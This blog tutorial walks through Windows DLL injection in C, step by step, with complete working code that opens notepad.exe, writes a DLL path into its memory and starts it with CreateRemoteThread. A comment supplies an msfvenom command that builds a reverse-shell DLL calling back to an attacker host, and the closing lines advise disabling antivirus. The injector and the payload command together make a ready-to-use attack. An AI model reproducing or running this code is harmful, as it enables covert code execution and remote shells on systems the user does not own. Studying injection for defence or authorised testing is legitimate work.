DLL Injection
In this blog post, we'll cover to how to inject DLL into a remote process in Windows.
Prerequisites
Coding experience with C/C++.
IDE (Visual Studio is preferred)
Steps to Inject DLL
Find a process that we have permission to write into its virtual memory space.
Open the process.
Allocate virtual memory space in the process to place path of the DLL.
Write the the path of DLL into the virtual memory space.
Find the LoadLibraryW address in Kernel32.
Create a remote thread to execute malicious code in the DLL.
Step #1 - Find The Process
To find a process that we are allowed to write, we need a way to take a snapshot of all running processes, then we can find the process we want. In this example code, we'll open notepad.exe as a target process.
To take a snapshot, we'll use CreateToolhelp32Snapshot function. CreateToohelp32Snapshot takes 2 parameters:
[in] DWORD dwFlags => The portions of the system to be included in the snapshot.
TH32CS_SNAPALL => Include every portion of the system.
[in] DWORD th32ProcessID => The process identifier of the process to be included in the snapshot.
NULL => Indicate the current process.
Code #1 - Take a Snapshot
Don't forget to close every handle you open. (CloseHandle)
#include <windows.h>
#include <TlHelp32.h>
int main(int argc, char** argv) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
CloseHandle(snapshot);
return 0;
}
After taking a snapshot, it's time to find the process id of notepad.exe. To find a process id of any program, we need Process32First and Process32Next functions.
Process32First gives us the first process in the snapshot. The function takes 2 parameters:
[in] HANDLE hSnapshot => It's the handle of the snapshot we took.
[in, out] LPPROCESSENTRY32 lppe =>A pointer to a PROCESSENTRY32 structure. It contains process information such as the name of the executable file, the process identifier, and the process identifier of the parent process.
Process32Next is used to iterate each element/process of the snapshot. We cannot use it directly before Process32First. The function takes same parameters as Process32First.
Code #2 - Find The Process
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
// wchat_t* is used for UTF-16 character space.
int getProcessId(HANDLE snapshot, wchar_t* processName) {
PROCESSENTRY32 processEntry;
// The size of the structure, in bytes.
processEntry.dwSize = sizeof(PROCESSENTRY32);
BOOL success = Process32First(snapshot, &processEntry);
// Could not find a process.
if (!success)
return -2;
while (success) {
// wcscmp is used to compare UTF-16 strings.
if (wcscmp(processEntry.szExeFile, processName) == 0)
return processEntry.th32ProcessID;
success = Process32Next(snapshot, &processEntry);
}
return -1;
}
int main(int argc, char** argv) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
// TEXT is used to create UTF-16 strings.
int processId = getProcessId(snapshot, TEXT("notepad.exe"));
printf("Process Id: %d\n", processId);
CloseHandle(snapshot);
return 0;
}
Output
Process Id: 22120
Step #2 - Open The Process
To open a process, we can use OpenProcess. The function takes 3 parameters:
[in] DWORD dwDesiredAccess => The access to the process object.
PROCESS_ALL_ACCESS => All possible access rights for a process object.
[in] BOOL bInheritHandle => If this value is TRUE, processes created by this process will inherit the handle.
[in] DWORD dwProcessId => The target process we want to open.
Code #3
// -- snippet --
int main(int argc, char** argv) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
// TEXT is used to create UTF-16 strings.
int processId = getProcessId(snapshot, TEXT("notepad.exe"));
printf("Process Id: %d\n", processId);
CloseHandle(snapshot);
HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
CloseHandle(notepad);
return 0;
}
Step #3 - Allocate Virtual Memory
Now it's time to allocate virtual memory space in the notepad.exe process. To do that, we'll use VirtualAllocEx. The function takes 5 parameters:
[in] HANDLE hProcess => The handle of the process we opened.
[in, optional] LPVOID lpAddress => The pointer that specifies a desired starting address for the region of pages that you want to allocate.
NULL => Function automatically chooses where to allocate the region.
[in] SIZE_T dwSize => Allocation size. In this case, it's going to be the size of the DDL's path.
[in] DWORD flAllocationType
MEM_COMMIT => Allocates memory charges (from the overall size of memory and the paging files on disk) for the specified reserved memory pages.
[in] DWORD flProtect => The memory protection for the region of pages to be allocated.
PAGE_READWRITE => Enables read-only or read/write access to the committed region of pages.
Code #4
// -- snippet ---
int main(int argc, char** argv) {
// -- snippet --
HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
// msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 EXITFUNC=thread -f dll -o reverse_shell.dll
wchar_t dllPath[] = TEXT("PATH OF THE MALICIOUS DLL");
LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
CloseHandle(notepad);
return 0;
}
Step #4 Write to Virtual Memory
After allocating a virtual memory space for the path of DLL, we'll get into writing the path into the allocated space. To do that, we're going to use WriteProcessMemory. The function takes 5 parameters:
[in] HANDLE hProcess => The referece of the process (notepad.exe).
[in] LPVOID lpBaseAddress => A pointer to the base address in the specified process to which data is written. Basically this is the allocated buffer's pointer.
[in] LPCVOID lpBuffer => The pointer of the data. In this case it's the DLL path.
[in] SIZE_T nSize => Size of the data to be written.
[out] SIZE_T *lpNumberOfBytesWritten => How many bytes have been written until a time. No need to keep track of written byte length in our case.
Code #4
// -- snippet --
int main(int argc, char** argv) {
// -- snippet --
HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
// msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 EXITFUNC=thread -f dll -o reverse_shell.dll
wchar_t dllPath[] = TEXT("PATH OF THE MALICIOUS DLL");
LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
if (allocatedBuffer) {
WriteProcessMemory(notepad, allocatedBuffer, (LPVOID) dllPath, sizeof dllPath, NULL);
}
CloseHandle(notepad);
return 0;
}
Step #5 - Find The LoadLibraryW
LoadLibraryW is used to load libraries. To load the malicious DLL, we have to find the function's memory address in Kernel32. To do that, we're going to use GetProcAddress. The function takes only 2 parameters.
[in] HMODULE hModule => A handle to the DLL module that contains the function or variable.
GetModuleHandle can be used to retrieve Kernel32's handle.
[in] LPCSTR lpProcName => The function or variable name. This is basically what function we want to call. In this case, it's LoadLibraryW.
Code #5
// -- snippet --
int main(int argc, char** argv) {
// -- snippet --
LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
if (allocatedBuffer) {
WriteProcessMemory(notepad, allocatedBuffer, (LPVOID) dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE startRoutine = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
}
CloseHandle(notepad);
return 0;
}
Step #6 - Execute The Malicious Code
Almost done. As the last step, we're going to call LoadLibraryW to execute malicious code which is inside the DLL. To call the LoadLibraryW, we'll create a remote thread. To do that, we can use CreateRemoteThread function. The function takes 7 parameters:
[in] HANDLE hProcess => The reference of the target process.
[in] LPSECURITY_ATTRIBUTES lpThread Attributes => A pointer to a SECURITY_ATTRIBUTES structure.
[in] SIZE_T => The initial size of the stack, in bytes. If this parameter is 0 (zero), the new thread uses the default size for the executable.
[in] LPTHREAD_START_ROUTINE lpStartAddress => A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed.
This is going to be the address of the LoadLibraryW.
[in] LPVOID lpParameter =>A pointer to a variable to be passed to the thread function.
LoadLibraryW only takes the path of the DLL.
[in] DWORD dwCreationFlags => The flags that control the creation of the thread.
0 => Run the function after the thread is created.
[out] LPDWORD lpThreadId => A pointer to a variable that receives the thread identifier.
Code #6
// -- snippet --
int main(int argc, char** argv) {
// -- snippet --
LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
if (allocatedBuffer) {
WriteProcessMemory(notepad, allocatedBuffer, (LPVOID) dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE startRoutine = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(notepad, NULL, 0, startRoutine, allocatedBuffer, 0, NULL);
}
CloseHandle(notepad);
return 0;
}
You might not be able to execute reverse shell multiple times. I recommend you to try this in a virtual machine and also don't forget to disable antivirus. We didn't do any evasion technique here.
Links
Last updated
Was this helpful?